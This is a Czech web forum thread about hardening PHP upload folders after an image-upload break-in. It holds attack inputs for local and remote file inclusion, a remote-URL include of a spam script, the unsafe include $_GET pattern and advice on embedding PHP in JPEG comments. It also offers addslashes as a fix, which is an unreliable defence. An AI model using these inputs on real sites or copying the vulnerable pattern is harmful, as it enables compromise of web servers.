« 1 2 »
Autor Zpráva
Gnd
Profil *
Zdravím,

poradí někdo jak zakázat spouštění php pro určité adresáře pomocí .htaccess

Předem děkuji..
Měsíček
Profil
Reaguji na GnD:

K čemu tedy budou sloužit? Jestliže jen k tomu, aby ostatní mohli vidět kód stačí změnit koncovku s *.php na *.phps, ale to asi víš.
Gnd
Profil *
K čemu tedy budou sloužit?

jde o to ze v uvedene slozce se 100% php nachazet nebude a chci tim zvysit bezpecnost webu. Protoze se jiz v minulosti stalo, ze pres upload obrazku nekdo nahral nejakym zpusobem php scripty a spamoval. Upload jsem osetrili, ale chceme pro bezpecnost udelat maximum a proto potrebujeme i zakazat spousteni php...

je to stale nepochopitelne?
bohyn
Profil
Gnd
Sice to nezakaze parsovani scriptu, ale slouzit by to melo
<FilesMatch "\.php[3-5]?$">
  Deny From All
</FilesMatch>
Gnd
Profil *
Sice to nezakaze parsovani scriptu, ale slouzit by to melo

moc diky.. tohle reseni me nenapadlo.. asi proto ze nebude pro nas vhodne. Jde o to, ze soubory ktere k nam nekdo nahral urcite nemely koncovku .php. Soubory testujeme, zda jsou jpg a i pokud jsou, kopirujeme je do adresare vzdy s novym nazvem a vzdy s koncovkou jpg. Nekdo musel nahrat jpg soubor, ktery lze spustit i jako php. Upload jsem sice osetrili tak, ze ziskavame informace o velikosti obrazku atd + to ze obrazek vzdy projde zmensenim pred GD, pokud tohle vse je ok, potom se teprve uklada, ale i tak chceme mit jistotu a zakazat parsovani php a to bez ohledu na koncovky souboru.
bohyn
Profil
Gnd
Tohle prepise defaultni parsovani PHP scriptu, ale opet je to zalozene na koncovce. Pokud, ale takto prepises vsechny koncovky nastavene na parsovani PHP tak nebude mozne spustit zadny kod. Uplne odpojit mod_php asi nepude.
AddType text/plain .php .php3 .php4 .php5
Gnd
Profil *
AddType text/plain .php .php3 .php4 .php5

tohle jsem jen tak ze zvedavosti zkousel, ale nejak to nefungovalo, normalne jsem spustil script. To ze bych prepsal vsechny koncovky by mi nevadilo, zadny kod tam nebude, ale jsou tam jpg a k tem potrebuji normalne pristupovat a zaroven nechci riskovat, ze v jpg bude nejaky kod. Asi bude potreba dokonale osetrit upload.

Ale i tak diky za tipy..
bohyn
Profil
ClearModuleList Odpoji vsechny moduly, ale treba ho vlozit primo do konfigurace serveru - tzn. kontaktovat webhosting. Potrebne moduly se pak musi zase pripojit pres AddModule.
Pokud ale nekdo hacknul upload tak to IMHO nebylo pres web (alespon pri popisovane metode kontroly), ale pres FTP nebo podobny pristup, popripade prolomil ochranu primo webhostingu. Apache se soubory zachazi podle koncovky, takze obrazky bezne neposila PHP parseru.

PS: Jeste me napada ze to mohlo byt pres neosetreny include, kde se nazev vkladaneho souboru posila pres URL
Gnd
Profil *
Apache se soubory zachazi podle koncovky, takze obrazky bezne neposila PHP parseru.

ja prave cetl nejaky clanek, ze je mozno mit validni obrazek ve kterem je vepsan kod a nejakym zpusobem je mozne jej spustit. Vsechny kody co spam pravdepodobne provedly jsem nalezl prave ve slozce s obrazky. Divne je to, ze kdyz tam nekdo ty soubory dostal, tak po sobe nezametl a nechal je tam. Mam je ve svem pc, ale je to na me uz moc slozite, tak je nedokazu presne analyzovat.

PS: Jeste me napada ze to mohlo byt pres neosetreny include, kde se nazev vkladaneho souboru posila pres URL
potreboval bych trochu popostrcit a poradit jak je mozne zneuzit neosetrene indule... diky..
bohyn
Profil
Gnd
Na nekterych webech muzou byt nastaveny i jine koncovky pro psousteni PHP sctiptu. Priklad:
Potrebuju dynamicky generovat obrazek (treba pocitadlo) a nechci nechat koncovku .php. Kdyz sem linej pouzit mod_rewrite tak zmenim nastaveni tak aby se .jpg soubory posilaly PHP parseru (klasicke jpg budou fungovat i nadale). Chyba ale nastane pokud nekdo na web uploaduje svuj obrazek s PHP kodem v EXIF.

Ad PS
mam index.php stranku do ktere includuju dalsi pres GET promene:
example.cz/index.php?stranka=kontakt.php
// obsah index.php
// ...
include $_GET['stranka'];
// ...

Pokud ale nekdo upravi adresu na:
example.cz/index.php?stranka=img/obrazek.jpg
Tak se v PHP parseru zpracuje dany obrazek (nebo libovolny soubor).
Gnd
Profil *
Pokud ale nekdo upravi adresu na:
example.cz/index.php?stranka=img/obrazek.jpg
Tak se v PHP parseru zpracuje dany obrazek (nebo libovolny soubor).


Diky za vysvetleni, podobne includujeme jednotlive stranky webu s nasledujicim rozdilem

example.cz/index.php?stranka=kontakt

include $_GET['stranka'].".php";

nemelo by tak ji podstrcit neco jineho, tedy doufam..

drive na jednom nejmenovanem hostingu a neni to tak davno sel Vami uvedenym zpusobem dokonce podstrcit script uplne jineho webu formou
example.cz/index.php?stranka=http://www.domena.tld/spam.php
bohyn
Profil
Gnd
drive na jednom nejmenovanem hostingu a neni to tak davno sel Vami uvedenym zpusobem dokonce podstrcit script uplne jineho webu formou
example.cz/index.php?stranka=http://www.domena.tld/spam.php

To zalezi na direktive allow_url_include v php.ini

example.cz/index.php?stranka=kontakt
include $_GET['stranka'].".php";
nemelo by tak ji podstrcit neco jineho, tedy doufam..


V pripade povoleni vyse zminovane direktivy to obejit lze: http://example.com/spam.php?
Koncovka je potom neskodna.
Otestoval jdem jak by to slo obejit i bez toho a reseni je na svete.

Edit: Po vnitrnim boji jsem zpusob utoku odstranil. Obejit to LZE - vyzkouseno.
bohyn
Profil
Obrana proti vyse uvedene zranitelnosti je:
$stranka = addslashes($_GET['stranka']);

V nazvu soubory by nemely byt znaky vyzadujici zpetne lomitko a diru to zalepi.
DoubleThink
Profil *
poradí někdo jak zakázat spouštění php pro určité adresáře pomocí .htaccess
php_flag engine off


Ovšem, stránky pak budou odesílány neinterpretovaně, tj. ve formě zdrojových kódů.
Gnd
Profil *
„example.cz/index.php?stranka=kontakt
include $_GET['stranka'].".php";


muze tedy nekdo poradit jak spravne includovat, jestlize se uvedene da lehce obejit?
bohyn
Profil
Gnd
prispevek [#13]
Gnd
Profil *
prispevek [#13]

jj diky, nevim proc, ale v dobe psani meho dotazu tam tento prispevek vč. 14 nebyl.. i kdyz jsem stranku aktualizoval..
Gnd
Profil *
php_flag engine off

diky moc.. tohle funguje... a obrazky mohu bez problemu pouzit.
Gnd
Profil *
Nyní asi s největší pravděpodobností vím, kde jsem měl největší díru a kudy pravděpodobně útok přišel.

V době, kdy jsem neměl ošetřen upload obrázků, bylo možné nahrát kód v souboru s koncovkou .jpg. Shodou okolností měl bohužel adresář s obrázky práva 777, což tomu jen nahrálo. Stačilo z lokálu nebo odněkud, kde to je povoleno vzdáleně includovat ono .jpg, kod byl nejen vykonán ale došlo k vytvoření dalších php souborů právě v adresáři s právy 777.

Teorii jsem otestoval a bohužel to funguje.

„php_flag engine off“
I zákaz parsování kódu určité složky nemá smysl, kód sice nejde spustit přímo, ale lze jej opět jednoduše includovat a je opět vykonán.
joe
Profil
Gnd
1. Zajímalo by mě, jakým způsobem lze uložit do JPG nějaký PHP kód, četl jsem to spíše o GIFech, ale do JPG to jde prý taky. Proč to chci vědět? Sám bych si chtěl otestovat systém, jak na tom je, mohl bych nějaký podobný útok očekávat taky.
2. Jaké práva by jsi tedy chtěl mít ve složce, kam nahráváš soubory než 777?
3. Možná by pomohlo umístit obrázky mimo document root a zobrazovat je přes nějaký kód, ale to by zase moc nepomohlo.
Gnd
Profil *
1. Zajímalo by mě, jakým způsobem lze uložit do JPG nějaký PHP kód

ono postačí, když nemáš dobře ošetřený upload a jen testujes typ souboru pomocí $file_type, potom stačí napsat kód a změnit koncovku na jpg a problém je na světě.
Sicario
Profil *
joe
1. Zajímalo by mě, jakým způsobem lze uložit do JPG nějaký PHP kód, ....

Do jpegu se da vlozit PHP kod prostrednictvim jpeg komentare (umi celkem snadno napr. prohlizec FastStone). Ostatne, zkus si ho naincludovat sam.
PP
Profil *
Popisanie daneho problemu a riesenie najdes na http://blackhole.sk/topicupload-suborov-v-php-nebezpecne-gif-obrazky
Gnd
Profil *
Do jpegu se da vlozit PHP kod prostrednictvim jpeg komentare (umi celkem snadno napr. prohlizec FastStone). Ostatne, zkus si ho naincludovat sam.

pekna prasarna, opravdu to jde, jen me zajima, jak je mozne se se ignoruji data na zacatku souboru
srigi
Profil
„Do jpegu se da vlozit PHP kod prostrednictvim jpeg komentare (umi celkem snadno napr. prohlizec FastStone). Ostatne, zkus si ho naincludovat sam.“
pekna prasarna, opravdu to jde, jen me zajima, jak je mozne se se ignoruji data na zacatku souboru

Oni sa proste ignoruju v PHP parsery a ten ich posle s defaultnym MIME typom, co je na drvivej vacsine hostingov nastaveny na text/plain. Preto sa v browsery zobrazi binarno-teztovy balast

vid moj obrazok z clanku na BH.

Ako sa uz navrhovalo, jedine mozne ocistenie obrazkov je prehnanie cez GD kniznicu.
Gnd
Profil *
Ako sa uz navrhovalo, jedine mozne ocistenie obrazkov je prehnanie cez GD kniznicu.

ano presne to jsem udelal i otestoval, pokud je jpg validni tak pres GD projde a kod je ztracen..
Sicario
Profil *
Gnd
Tak prasarna to neni, spis vlastnost. Jak vidis, ani server tinypic.com komentare z obrazku neodstranuje a asi s tim problem nema.

Resenim je zachazet opatrne s prikazem include.

Jinak se na na tomhle prikladu ukazuje, ze jakakoli metadata z obrazku se musi pri vypisu do html stranky prohnat pres htmlspecialchars, jinak je nekdo vyuzije pro XSS.
bohyn
Profil
Gnd
Nyní asi s největší pravděpodobností vím, kde jsem měl největší díru a kudy pravděpodobně útok přišel.
V době, kdy jsem neměl ošetřen upload obrázků, bylo možné nahrát kód v souboru s koncovkou .jpg. Shodou okolností měl bohužel adresář s obrázky práva 777, což tomu jen nahrálo. Stačilo z lokálu nebo odněkud, kde to je povoleno vzdáleně includovat ono .jpg, kod byl nejen vykonán ale došlo k vytvoření dalších php souborů právě v adresáři s právy 777.
Teorii jsem otestoval a bohužel to funguje.


Ten kod je nevykonal u tebe na serveru (tam kde byl obrazek nahran), ale na serveru kam si ho includoval. Toto dira do systemu neni. Pokud, jak pise Sicario, zachazis opatrne s includem tak neni duvod se obavat PHP scriptu vlozenych do obrazku. Utok na tvoji stranku pravdepodobne probehl prave pres include jak jsem psal vyse.
include $_GET['stranka'].".php";
Neni bezpecny. Ikdyz mas napevno koncovku, presto to lze obejit.

Sicario
Jinak se na na tomhle prikladu ukazuje, ze jakakoli metadata z obrazku se musi pri vypisu do html stranky prohnat pres htmlspecialchars, jinak je nekdo vyuzije pro XSS.
Toto se PHP netyka, to je problem JS

joe
1. Zajímalo by mě, jakým způsobem lze uložit do JPG nějaký PHP kód, četl jsem to spíše o GIFech, ale do JPG to jde prý taky. Proč
Lze to vlozit do jakehokoliv souboru (i binarniho), pak je jen treba presvedcit PHP parser aby to zpracoval.
imploder
Profil
bohyn
Neni bezpecny, ikdyz mas napevno koncovku, presto to lze obejit.
Jak? Nic končícího na .php přece uploadem neprojde, takže ať už pošle ?stranka=cokoliv, nalepí se na to .php a takový obrázek tam nemůže mít.
bohyn
Profil
imploder
Reseni jsem vymyslel behem 5 minut pri psani prispevku [#12] a reseni je v prispevku [#13]

Edit: u prispevku [#12] jsem zpusob utoku odstranil, abych nesiril navod na utok.
« 1 2 »

Vaše odpověď

Mohlo by se hodit

Odkud se sem odkazuje


Prosím používejte diakritiku a interpunkci.

Ochrana proti spamu. Napište prosím číslo dvě-sta čtyřicet-sedm:

0